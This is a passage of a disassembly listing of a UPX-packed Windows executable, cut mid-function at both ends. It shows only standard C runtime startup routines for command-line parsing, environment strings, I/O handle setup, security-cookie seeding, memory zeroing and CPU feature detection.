		mov	byte ptr [edx-1], 0


loc_40F739:				; CODE XREF: sub_40F6A5+8Ej
					; sub_40F6A5+AFj
		and	[ebp+var_4], 0


loc_40F73D:				; CODE XREF: sub_40F6A5+185j
		cmp	byte ptr [esi],	0
		jz	loc_40F82F


loc_40F746:				; CODE XREF: sub_40F6A5+ACj
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_40F750
		cmp	al, 9
		jnz	short loc_40F756


loc_40F750:				; CODE XREF: sub_40F6A5+A5j
		inc	esi
		jmp	short loc_40F746
; ---------------------------------------------------------------------------


loc_40F753:				; CODE XREF: sub_40F6A5+7Aj
		dec	esi
		jmp	short loc_40F739
; ---------------------------------------------------------------------------


loc_40F756:				; CODE XREF: sub_40F6A5+A9j
		cmp	byte ptr [esi],	0
		jz	loc_40F82F
		cmp	[ebp+arg_0], 0
		jz	short loc_40F76E
		mov	eax, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[eax], edx


loc_40F76E:				; CODE XREF: sub_40F6A5+BEj
		inc	dword ptr [ecx]


loc_40F770:				; CODE XREF: sub_40F6A5+170j
		xor	ebx, ebx
		inc	ebx
		xor	ecx, ecx
		jmp	short loc_40F779
; ---------------------------------------------------------------------------


loc_40F777:				; CODE XREF: sub_40F6A5+D7j
		inc	esi
		inc	ecx


loc_40F779:				; CODE XREF: sub_40F6A5+D0j
		cmp	byte ptr [esi],	5Ch
		jz	short loc_40F777
		cmp	byte ptr [esi],	22h
		jnz	short loc_40F7A9
		test	cl, 1
		jnz	short loc_40F7A7
		cmp	[ebp+var_4], 0
		jz	short loc_40F79A
		lea	eax, [esi+1]
		cmp	byte ptr [eax],	22h
		jnz	short loc_40F79A
		mov	esi, eax
		jmp	short loc_40F7A7
; ---------------------------------------------------------------------------


loc_40F79A:				; CODE XREF: sub_40F6A5+E7j
					; sub_40F6A5+EFj
		xor	eax, eax
		xor	ebx, ebx
		cmp	[ebp+var_4], eax
		setz	al
		mov	[ebp+var_4], eax


loc_40F7A7:				; CODE XREF: sub_40F6A5+E1j
					; sub_40F6A5+F3j
		shr	ecx, 1


loc_40F7A9:				; CODE XREF: sub_40F6A5+DCj
		test	ecx, ecx
		jz	short loc_40F7BF


loc_40F7AD:				; CODE XREF: sub_40F6A5+115j
		dec	ecx
		test	edx, edx
		jz	short loc_40F7B6
		mov	byte ptr [edx],	5Ch
		inc	edx


loc_40F7B6:				; CODE XREF: sub_40F6A5+10Bj
		inc	dword ptr [edi]
		test	ecx, ecx
		jnz	short loc_40F7AD
		mov	[ebp+arg_4], edx


loc_40F7BF:				; CODE XREF: sub_40F6A5+106j
		mov	al, [esi]
		test	al, al
		jz	short loc_40F81A
		cmp	[ebp+var_4], 0
		jnz	short loc_40F7D3
		cmp	al, 20h
		jz	short loc_40F81A
		cmp	al, 9
		jz	short loc_40F81A


loc_40F7D3:				; CODE XREF: sub_40F6A5+124j
		test	ebx, ebx
		jz	short loc_40F814
		movsx	eax, al
		push	eax
		test	edx, edx
		jz	short loc_40F802
		call	sub_4145E7
		pop	ecx
		test	eax, eax
		jz	short loc_40F7F6
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		inc	[ebp+arg_4]
		mov	[ecx], al
		inc	esi
		inc	dword ptr [edi]


loc_40F7F6:				; CODE XREF: sub_40F6A5+142j
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al
		jmp	short loc_40F80F
; ---------------------------------------------------------------------------


loc_40F802:				; CODE XREF: sub_40F6A5+138j
		call	sub_4145E7
		pop	ecx
		test	eax, eax
		jz	short loc_40F80F
		inc	esi
		inc	dword ptr [edi]


loc_40F80F:				; CODE XREF: sub_40F6A5+15Bj
					; sub_40F6A5+165j
		inc	dword ptr [edi]
		mov	edx, [ebp+arg_4]


loc_40F814:				; CODE XREF: sub_40F6A5+130j
		inc	esi
		jmp	loc_40F770
; ---------------------------------------------------------------------------


loc_40F81A:				; CODE XREF: sub_40F6A5+11Ej
					; sub_40F6A5+128j ...
		test	edx, edx
		jz	short loc_40F825
		mov	byte ptr [edx],	0
		inc	edx
		mov	[ebp+arg_4], edx


loc_40F825:				; CODE XREF: sub_40F6A5+177j
		inc	dword ptr [edi]
		mov	ecx, [ebp+arg_8]
		jmp	loc_40F73D
; ---------------------------------------------------------------------------


loc_40F82F:				; CODE XREF: sub_40F6A5+9Bj
					; sub_40F6A5+B4j
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebx
		test	eax, eax
		jz	short loc_40F83B
		and	dword ptr [eax], 0


loc_40F83B:				; CODE XREF: sub_40F6A5+191j
		inc	dword ptr [ecx]
		leave
		retn
sub_40F6A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F83F	proc near		; CODE XREF: UPX0:0040BC76p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		cmp	dword_430270, ebx
		jnz	short loc_40F859
		call	sub_4121C2


loc_40F859:				; CODE XREF: sub_40F83F+13j
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	ebx
		mov	byte_42ECF4, bl
		call	dword_41D180	; GetModuleFileNameA
		mov	eax, dword_430294
		mov	off_42E89C, esi
		cmp	eax, ebx
		jz	short loc_40F887
		mov	[ebp+var_4], eax
		cmp	[eax], bl
		jnz	short loc_40F88A


loc_40F887:				; CODE XREF: sub_40F83F+3Fj
		mov	[ebp+var_4], esi


loc_40F88A:				; CODE XREF: sub_40F83F+46j
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		lea	edi, [ebp+var_C]
		call	sub_40F6A5
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	eax, 3FFFFFFFh
		jnb	short loc_40F8F2
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnb	short loc_40F8F2
		mov	edi, eax
		shl	edi, 2
		lea	eax, [edi+ecx]
		cmp	eax, ecx
		jb	short loc_40F8F2
		push	eax
		call	sub_40EF2A
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	short loc_40F8F2
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		add	edi, esi
		push	edi
		push	esi
		lea	edi, [ebp+var_C]
		call	sub_40F6A5
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		dec	eax
		mov	dword_42E880, eax
		mov	dword_42E884, esi
		xor	eax, eax
		jmp	short loc_40F8F5
; ---------------------------------------------------------------------------


loc_40F8F2:				; CODE XREF: sub_40F83F+67j
					; sub_40F83F+6Fj ...
		or	eax, 0FFFFFFFFh


loc_40F8F5:				; CODE XREF: sub_40F83F+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F83F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8FA	proc near		; CODE XREF: UPX0:0040BC6Cp
					; sub_413E93+115p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, dword_42ECF8
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, dword_41D15C
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_40F946
		call	esi ; dword_41D15C
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40F92C
		mov	dword_42ECF8, 1
		jmp	short loc_40F94F
; ---------------------------------------------------------------------------


loc_40F92C:				; CODE XREF: sub_40F8FA+24j
		call	dword_41D1D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_40F941
		push	2
		pop	eax
		mov	dword_42ECF8, eax
		jmp	short loc_40F946
; ---------------------------------------------------------------------------


loc_40F941:				; CODE XREF: sub_40F8FA+3Bj
		mov	eax, dword_42ECF8


loc_40F946:				; CODE XREF: sub_40F8FA+1Cj
					; sub_40F8FA+45j
		cmp	eax, 1
		jnz	loc_40F9D0


loc_40F94F:				; CODE XREF: sub_40F8FA+30j
		cmp	edi, ebx
		jnz	short loc_40F962
		call	esi ; dword_41D15C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40F962


loc_40F95B:				; CODE XREF: sub_40F8FA+DDj
					; sub_40F8FA+E9j ...
		xor	eax, eax
		jmp	loc_40FA2C
; ---------------------------------------------------------------------------


loc_40F962:				; CODE XREF: sub_40F8FA+57j
					; sub_40F8FA+5Fj
		mov	eax, edi
		cmp	[edi], bx
		jz	short loc_40F977


loc_40F969:				; CODE XREF: sub_40F8FA+74j
					; sub_40F8FA+7Bj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_40F969
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_40F969


loc_40F977:				; CODE XREF: sub_40F8FA+6Dj
		mov	esi, dword_41D07C
		push	ebx
		push	ebx
		push	ebx
		sub	eax, edi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	edi
		push	ebx
		push	ebx
		mov	[ebp+var_C], eax
		call	esi ; dword_41D07C
		mov	[ebp+var_8], eax
		cmp	eax, ebx
		jz	short loc_40F9C5
		push	eax
		call	sub_40EF2A
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	eax, ebx
		jz	short loc_40F9C5
		push	ebx
		push	ebx
		push	[ebp+var_8]
		push	eax
		push	[ebp+var_C]
		push	edi
		push	ebx
		push	ebx
		call	esi ; dword_41D07C
		test	eax, eax
		jnz	short loc_40F9C2
		push	[ebp+var_4]
		call	sub_40ADC8
		pop	ecx
		mov	[ebp+var_4], ebx


loc_40F9C2:				; CODE XREF: sub_40F8FA+BAj
		mov	ebx, [ebp+var_4]


loc_40F9C5:				; CODE XREF: sub_40F8FA+9Aj
					; sub_40F8FA+A8j
		push	edi
		call	dword_41D160	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_40FA2C
; ---------------------------------------------------------------------------


loc_40F9D0:				; CODE XREF: sub_40F8FA+4Fj
		cmp	eax, 2
		jz	short loc_40F9D9
		cmp	eax, ebx
		jnz	short loc_40F95B


loc_40F9D9:				; CODE XREF: sub_40F8FA+D9j
		call	dword_41D164	; GetEnvironmentStringsA
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_40F95B
		cmp	[esi], bl
		jz	short loc_40F9F7


loc_40F9ED:				; CODE XREF: sub_40F8FA+F6j
					; sub_40F8FA+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_40F9ED
		inc	eax
		cmp	[eax], bl
		jnz	short loc_40F9ED


loc_40F9F7:				; CODE XREF: sub_40F8FA+F1j
		sub	eax, esi
		inc	eax
		push	eax
		mov	[ebp+var_8], eax
		call	sub_40EF2A
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jnz	short loc_40FA16
		push	esi
		call	dword_41D168	; FreeEnvironmentStringsA
		jmp	loc_40F95B
; ---------------------------------------------------------------------------


loc_40FA16:				; CODE XREF: sub_40F8FA+10Ej
		push	[ebp+var_8]
		push	esi
		push	edi
		call	sub_40E710
		add	esp, 0Ch
		push	esi
		call	dword_41D168	; FreeEnvironmentStringsA
		mov	eax, edi


loc_40FA2C:				; CODE XREF: sub_40F8FA+63j
					; sub_40F8FA+D4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F8FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FA31	proc near		; CODE XREF: UPX0:0040BC50p

var_64		= byte ptr -64h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	54h
		push	offset dword_426A10
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_41D194	; GetStartupInfoA
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		push	40h
		push	20h
		pop	esi
		push	esi
		call	sub_40EF6F
		pop	ecx
		pop	ecx
		cmp	eax, edi
		jz	loc_40FC7C
		mov	dword_430160, eax
		mov	dword_430148, esi
		lea	ecx, [eax+800h]
		jmp	short loc_40FAAB
; ---------------------------------------------------------------------------


loc_40FA7B:				; CODE XREF: sub_40FA31+7Cj
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	[eax+8], edi
		mov	byte ptr [eax+24h], 0
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		mov	[eax+38h], edi
		mov	byte ptr [eax+34h], 0
		add	eax, 40h
		mov	ecx, dword_430160
		add	ecx, 800h


loc_40FAAB:				; CODE XREF: sub_40FA31+48j
		cmp	eax, ecx
		jb	short loc_40FA7B
		cmp	[ebp+var_32], di
		jz	loc_40FBC3
		mov	eax, [ebp+var_30]
		cmp	eax, edi
		jz	loc_40FBC3
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [ebx+edi]
		mov	[ebp+var_1C], eax
		mov	esi, 800h
		cmp	edi, esi
		jl	short loc_40FADA
		mov	edi, esi


loc_40FADA:				; CODE XREF: sub_40FA31+A5j
		mov	[ebp+var_20], 1
		jmp	short loc_40FB3E
; ---------------------------------------------------------------------------


loc_40FAE3:				; CODE XREF: sub_40FA31+113j
		push	40h
		push	20h
		call	sub_40EF6F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40FB48
		mov	ecx, [ebp+var_20]
		lea	ecx, ds:430160h[ecx*4]
		mov	[ecx], eax
		add	dword_430148, 20h
		lea	edx, [eax+800h]
		jmp	short loc_40FB37
; ---------------------------------------------------------------------------


loc_40FB0D:				; CODE XREF: sub_40FA31+108j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		and	byte ptr [eax+24h], 80h
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		and	dword ptr [eax+38h], 0
		mov	byte ptr [eax+34h], 0
		add	eax, 40h
		mov	edx, [ecx]
		add	edx, esi


loc_40FB37:				; CODE XREF: sub_40FA31+DAj
		cmp	eax, edx
		jb	short loc_40FB0D
		inc	[ebp+var_20]


loc_40FB3E:				; CODE XREF: sub_40FA31+B0j
		cmp	dword_430148, edi
		jl	short loc_40FAE3
		jmp	short loc_40FB4E
; ---------------------------------------------------------------------------


loc_40FB48:				; CODE XREF: sub_40FA31+BFj
		mov	edi, dword_430148


loc_40FB4E:				; CODE XREF: sub_40FA31+115j
		and	[ebp+var_20], 0
		test	edi, edi
		jle	short loc_40FBC3


loc_40FB56:				; CODE XREF: sub_40FA31+190j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_40FBB6
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_40FBB6
		mov	al, [ebx]
		test	al, 1
		jz	short loc_40FBB6
		test	al, 8
		jnz	short loc_40FB7A
		push	ecx
		call	dword_41D154	; GetFileType
		test	eax, eax
		jz	short loc_40FBB6


loc_40FB7A:				; CODE XREF: sub_40FA31+13Cj
		mov	esi, [ebp+var_20]
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		shl	esi, 6
		add	esi, dword_430160[eax*4]
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebx]
		mov	[esi+4], al
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_413600
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40FC7C
		inc	dword ptr [esi+8]


loc_40FBB6:				; CODE XREF: sub_40FA31+12Dj
					; sub_40FA31+132j ...
		inc	[ebp+var_20]
		inc	ebx
		add	[ebp+var_1C], 4
		cmp	[ebp+var_20], edi
		jl	short loc_40FB56


loc_40FBC3:				; CODE XREF: sub_40FA31+82j
					; sub_40FA31+8Dj ...
		xor	ebx, ebx


loc_40FBC5:				; CODE XREF: sub_40FA31+227j
		mov	esi, ebx
		shl	esi, 6
		add	esi, dword_430160
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FBE2
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40FBE2
		or	byte ptr [esi+4], 80h
		jmp	short loc_40FC54
; ---------------------------------------------------------------------------


loc_40FBE2:				; CODE XREF: sub_40FA31+1A4j
					; sub_40FA31+1A9j
		mov	byte ptr [esi+4], 81h
		test	ebx, ebx
		jnz	short loc_40FBEF
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_40FBF9
; ---------------------------------------------------------------------------


loc_40FBEF:				; CODE XREF: sub_40FA31+1B7j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_40FBF9:				; CODE XREF: sub_40FA31+1BCj
		push	eax
		call	dword_41D184	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40FC4A
		test	edi, edi
		jz	short loc_40FC4A
		push	edi
		call	dword_41D154	; GetFileType
		test	eax, eax
		jz	short loc_40FC4A
		mov	[esi], edi
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_40FC28
		or	byte ptr [esi+4], 40h
		jmp	short loc_40FC31
; ---------------------------------------------------------------------------


loc_40FC28:				; CODE XREF: sub_40FA31+1EFj
		cmp	eax, 3
		jnz	short loc_40FC31
		or	byte ptr [esi+4], 8


loc_40FC31:				; CODE XREF: sub_40FA31+1F5j
					; sub_40FA31+1FAj
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_413600
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40FC7C
		inc	dword ptr [esi+8]
		jmp	short loc_40FC54
; ---------------------------------------------------------------------------


loc_40FC4A:				; CODE XREF: sub_40FA31+1D4j
					; sub_40FA31+1D8j ...
		or	byte ptr [esi+4], 40h
		mov	dword ptr [esi], 0FFFFFFFEh


loc_40FC54:				; CODE XREF: sub_40FA31+1AFj
					; sub_40FA31+217j
		inc	ebx
		cmp	ebx, 3
		jl	loc_40FBC5
		push	dword_430148
		call	dword_41D158	; SetHandleCount
		xor	eax, eax
		jmp	short loc_40FC7F
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_40FC7C:				; CODE XREF: sub_40FA31+31j
					; sub_40FA31+17Cj ...
		or	eax, 0FFFFFFFFh


loc_40FC7F:				; CODE XREF: sub_40FA31+23Bj
		call	__SEH_epilog4
		retn
sub_40FA31	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FC85	proc near		; CODE XREF: UPX0:loc_40BC48p
		mov	edi, edi
		push	esi
		mov	eax, offset dword_42679C
		mov	esi, offset dword_42679C
		push	edi
		mov	edi, eax
		cmp	eax, esi
		jnb	short loc_40FCA8


loc_40FC99:				; CODE XREF: sub_40FC85+21j
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_40FCA1
		call	eax


loc_40FCA1:				; CODE XREF: sub_40FC85+18j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_40FC99


loc_40FCA8:				; CODE XREF: sub_40FC85+12j
		pop	edi
		pop	esi
		retn
sub_40FC85	endp

; ---------------------------------------------------------------------------
byte_40FCAB	db 8Bh,	0FFh		; DATA XREF: sub_40DB8F+41o
; ---------------------------------------------------------------------------
		push	esi
		mov	eax, offset dword_4267A4
		mov	esi, offset dword_4267A4
		push	edi
		mov	edi, eax
		cmp	eax, esi
		jnb	short loc_40FCCE


loc_40FCBF:				; CODE XREF: UPX0:0040FCCCj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_40FCC7
		call	eax


loc_40FCC7:				; CODE XREF: UPX0:0040FCC3j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_40FCBF


loc_40FCCE:				; CODE XREF: UPX0:0040FCBDj
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FCD1	proc near		; CODE XREF: UPX0:loc_40BD35p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_42A034
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	ebx
		push	edi
		mov	edi, 0BB40E64Eh
		mov	ebx, 0FFFF0000h
		cmp	eax, edi
		jz	short loc_40FD03
		test	eax, ebx
		jz	short loc_40FD03
		not	eax
		mov	dword_42A038, eax
		jmp	short loc_40FD63
; ---------------------------------------------------------------------------


loc_40FD03:				; CODE XREF: sub_40FCD1+23j
					; sub_40FCD1+27j
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_41D19C	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	dword_41D148	; GetCurrentProcessId
		xor	esi, eax
		call	dword_41D1C4	; GetCurrentThreadId
		xor	esi, eax
		call	dword_41D14C	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41D150	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		cmp	esi, edi
		jnz	short loc_40FD49
		mov	esi, 0BB40E64Fh
		jmp	short loc_40FD54
; ---------------------------------------------------------------------------


loc_40FD49:				; CODE XREF: sub_40FCD1+6Fj
		test	esi, ebx
		jnz	short loc_40FD54
		mov	eax, esi
		shl	eax, 10h
		or	esi, eax


loc_40FD54:				; CODE XREF: sub_40FCD1+76j
					; sub_40FCD1+7Aj
		mov	dword_42A034, esi
		not	esi
		mov	dword_42A038, esi
		pop	esi


loc_40FD63:				; CODE XREF: sub_40FCD1+30j
		pop	edi
		pop	ebx
		leave
		retn
sub_40FCD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD67	proc near		; CODE XREF: sub_40FDBE+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], edi
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		shr	ecx, 7
		pxor	xmm0, xmm0
		jmp	short loc_40FD87
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
		db 90h
; ---------------------------------------------------------------------------


loc_40FD87:				; CODE XREF: sub_40FD67+16j
					; sub_40FD67+4Ej
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm0
		movdqa	oword ptr [edi+20h], xmm0
		movdqa	oword ptr [edi+30h], xmm0
		movdqa	oword ptr [edi+40h], xmm0
		movdqa	oword ptr [edi+50h], xmm0
		movdqa	oword ptr [edi+60h], xmm0
		movdqa	oword ptr [edi+70h], xmm0
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_40FD87
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_40FD67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FDBE	proc near		; CODE XREF: sub_40BD40+27j
					; sub_40FDBE+7Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], edi
		mov	eax, [ebp+arg_0]
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		test	edi, edi
		jnz	short loc_40FE18
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		and	edx, 7Fh
		mov	[ebp+var_C], edx
		cmp	ecx, edx
		jz	short loc_40FDFD
		sub	ecx, edx
		push	ecx
		push	eax
		call	sub_40FD67
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_C]


loc_40FDFD:				; CODE XREF: sub_40FDBE+2Bj
		test	edx, edx
		jz	short loc_40FE46
		add	eax, [ebp+arg_8]
		sub	eax, edx
		mov	[ebp+var_8], eax
		xor	eax, eax
		mov	edi, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		rep stosb
		mov	eax, [ebp+arg_0]
		jmp	short loc_40FE46
; ---------------------------------------------------------------------------


loc_40FE18:				; CODE XREF: sub_40FDBE+1Cj
		neg	edi
		add	edi, 10h
		mov	[ebp+var_10], edi
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		rep stosb
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		add	ecx, eax
		sub	edx, eax
		push	edx
		push	0
		push	ecx
		call	sub_40FDBE
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]


loc_40FE46:				; CODE XREF: sub_40FDBE+41j
					; sub_40FDBE+58j
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_40FDBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FE4D	proc near		; CODE XREF: sub_40FE9D+4Fp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_426A30
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_40FE8D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_40FE82
		cmp	eax, 0C000001Dh
		jz	short loc_40FE82
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40FE82:				; CODE XREF: sub_40FE4D+29j
					; sub_40FE4D+30j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+var_1C], 0


loc_40FE8D:				; CODE XREF: sub_40FE4D+1Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_40FE4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FE9D	proc near		; CODE XREF: sub_40FEFFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		xor	eax, eax
		push	ebx
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		push	ebx
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_40FEE2
		push	ecx
		popf
		xor	eax, eax
		cpuid
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, 1
		cpuid
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax


loc_40FEE2:				; CODE XREF: sub_40FE9D+24j
		pop	ebx
		test	[ebp+var_4], 4000000h
		jz	short loc_40FEFA
		call	sub_40FE4D
		test	eax, eax
		jz	short loc_40FEFA
		xor	eax, eax
		inc	eax
		jmp	short loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FEFA:				; CODE XREF: sub_40FE9D+4Dj
					; sub_40FE9D+56j
		xor	eax, eax


loc_40FEFC:				; CODE XREF: sub_40FE9D+5Bj
		pop	ebx
		leave
		retn
sub_40FE9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FEFF	proc near		; DATA XREF: UPX0:0041D400o
		call	sub_40FE9D
		mov	dword_430144, eax
		xor	eax, eax
		retn
sub_40FEFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF0C	proc near		; CODE XREF: sub_40FF0C+BDp
					; UPX0:0040FFF2p ...

var_20		= dword	ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]
		push	ebp
		push	edx
		push	eax
		push	ecx
		push	ecx
		push	offset loc_40FF9C
		push	large dword ptr	fs:0
		mov	eax, dword_42A034
		xor	eax, esp
		mov	[esp+28h+var_20], eax
		mov	large fs:0, esp


loc_40FF3E:				; CODE XREF: sub_40FF0C+64j
					; sub_40FF0C+80j
		mov	eax, [esp+28h+arg_4]
		mov	ebx, [eax+8]
		mov	ecx, [esp+28h+arg_0]
		xor	ebx, [ecx]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40FF8E
		mov	edx, [esp+28h+arg_8]
		cmp	edx, 0FFFFFFFEh
		jz	short loc_40FF60
		cmp	esi, edx
		jbe	short loc_40FF8E


loc_40FF60:				; CODE XREF: sub_40FF0C+4Ej
